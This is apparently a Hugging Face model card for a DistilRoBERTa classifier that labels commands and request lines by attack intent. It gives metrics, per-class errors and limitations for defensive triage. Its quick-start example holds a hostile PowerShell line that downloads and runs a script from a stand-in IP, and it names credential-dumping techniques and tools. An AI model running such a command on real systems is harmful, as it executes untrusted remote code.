DaveyD347's picture
Add fine-tuned script intent classifier
aae1821 verified
|
Raw History Blame Contribute Delete
7.65 kB
metadata
license: apache-2.0
language:
  - en
library_name: transformers
pipeline_tag: text-classification
base_model: distilbert/distilroberta-base
datasets:
  - DaveyD347/script-intent-commands
tags:
  - cybersecurity
  - security
  - command-line
  - powershell
  - bash
  - sql-injection
  - mitre-attack
  - threat-detection
metrics:
  - accuracy
  - f1
  - precision
  - recall
model-index:
  - name: script-intent-distilroberta
    results:
      - task:
          type: text-classification
          name: Script intent classification
        dataset:
          name: Script & Payload Intent (template-disjoint test split)
          type: DaveyD347/script-intent-commands
          split: test
        metrics:
          - type: accuracy
            value: 0.78
          - type: f1
            name: Macro F1
            value: 0.778
      - task:
          type: text-classification
          name: Script intent classification
        dataset:
          name: Script & Payload Intent (hand-written challenge set)
          type: DaveyD347/script-intent-commands
          config: challenge
          split: test
        metrics:
          - type: accuracy
            value: 0.753
          - type: f1
            name: Macro F1
            value: 0.756

Script Intent Classifier (DistilRoBERTa)

Reads one command line, script fragment, SQL query or HTTP request line and predicts the intent behind it: benign, reconnaissance, credential harvesting, reverse shell, persistence, download and execute, or SQL injection. It covers bash, PowerShell, Windows cmd, SQL and URL-encoded request lines.

It is meant as a triage signal for process command-line telemetry, shell history, EDR exports and WAF logs: rank what an analyst looks at first and say why it looks bad. It is not a standalone blocking control.

Quick start

from transformers import pipeline

clf = pipeline("text-classification", model="DaveyD347/script-intent-distilroberta", top_k=3)

clf("powershell -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://203.0.113.5/a.ps1')\"")
# [{'label': 'download_execute', ...}, ...]

clf("sudo systemctl restart nginx")
# [{'label': 'benign', ...}, ...]

Labels

id Label Covers
0 benign Routine admin, dev and DBA work, including look-alikes
1 reconnaissance Host, user, network, privilege, cloud and Active Directory discovery
2 credential_harvesting LSASS/SAM/NTDS dumping, secrets in files, browsers, cloud metadata, Kerberoasting
3 reverse_shell Interactive callbacks to a listener
4 persistence Cron, systemd, Run keys, scheduled tasks, WMI, SSH keys, rogue accounts, web shells
5 download_execute Fetching a remote payload and running it
6 sql_injection Injection payloads in parameters, queries and request lines

Evaluation

Two evaluation sets, both unseen during training:

  • Template-disjoint test split (3,360 rows, 108 templates). The dataset is generated from 540 templates, and no test template appears in training. This measures generalization to new command patterns. A random row-level split would report around 99% and mean very little.
  • Hand-written challenge set (73 rows), written after the templates were final, using tools and phrasings that aren't in any template. It is small, so each row moves accuracy by about 1.4 points.

Headline numbers

Metric Test split Challenge set
Accuracy (7-way) 78.0% 75.3%
Macro F1 0.778 0.756
Malicious detection rate (any malicious label vs benign) 94.1% 80.0%
False negative rate (malicious called benign) 5.9% 20.0%
False positive rate (benign called malicious) 22.5% 8.7%

Per class (test split, n = 480 each)

Label Precision Recall F1
benign 0.685 0.775 0.727
reconnaissance 0.769 0.637 0.697
credential_harvesting 0.766 0.723 0.744
reverse_shell 0.686 0.683 0.685
persistence 0.780 0.754 0.767
download_execute 0.903 0.890 0.896
sql_injection 0.871 1.000 0.931

By language (test accuracy): cmd 91.9%, sql 86.7%, powershell 72.3%, bash 70.0%.

Confusion matrix

Full metrics, confusion matrices and misclassified examples are in eval/metrics.json.

What the errors look like

  • Benign versus reconnaissance and credential access is the hardest boundary. ps aux, whoami, Get-WinEvent or chmod 600 /etc/ssl/private/*.key look like discovery or secret handling, and without context (who ran it, when, from which parent process) the text alone is ambiguous. This drives most of the 22.5% test false positive rate.
  • Reverse shell versus persistence and download-execute. A cron job or scheduled task whose payload is a reverse shell or a stager is labeled persistence (its primary intent), and the model often picks the payload instead. From a triage standpoint both answers are "malicious", which is why the binary detection rate is much higher than 7-way accuracy.
  • Unknown tool names. Commands whose only signal is the name of a tool the model never saw (mimipenguin, trufflehog, SharpHound.exe) are often called benign. The model learns syntax and context, not a tool blocklist; pair it with one.

Training

Base model distilbert/distilroberta-base (82M parameters)
Data DaveyD347/script-intent-commands, 11,760 training rows from 377 templates
Epochs 2 (best validation macro F1 at epoch 2: 0.830)
Learning rate 5e-5, linear decay, 6% warmup, weight decay 0.01
Batch size 32
Max length 128 tokens
Hardware 4 CPU cores, about 36 minutes
Seed 42

Training code (train.py), the dataset generator (generate_dataset.py, templates.py) and the evaluation script (evaluate.py) are in the dataset repository under src/.

Intended use

  • Ranking and enriching command-line telemetry for analyst review
  • Explaining alerts with an intent label and a MITRE ATT&CK-aligned category
  • Teaching and prototyping detection engineering with transformers

Out of scope and limitations

  • Not a blocking control. At a 22.5% false positive rate on hard benign templates, blocking on this model alone would break legitimate admin work.
  • Trained on synthetic data. Real telemetry is longer and messier. Expect lower accuracy in production, and validate on your own logs before relying on it.
  • Single command, single label. No process tree, user, host or timing context, and no multi-label output for commands that chain intents.
  • Shallow obfuscation coverage. Heavily obfuscated PowerShell (Invoke-Obfuscation, string splitting, environment-variable tricks) and base64 payloads are only partly covered. The model does not decode base64.
  • Truncation. Inputs over 128 tokens are truncated, so long scripts should be split into lines or statements first.
  • Adversarial robustness was not tested. An attacker who knows the model is in use can likely rephrase commands to evade it.

Ethical considerations

The model and dataset describe publicly documented attack techniques at the level defenders already write detection rules for. Neither contains working exploits, binaries, real infrastructure or real credentials. The intended use is defensive.

Citation

@misc{script_intent_distilroberta_2026,
  title  = {Script Intent Classifier (DistilRoBERTa)},
  author = {DaveyD347},
  year   = {2026},
  url    = {https://huggingface.co/DaveyD347/script-intent-distilroberta}
}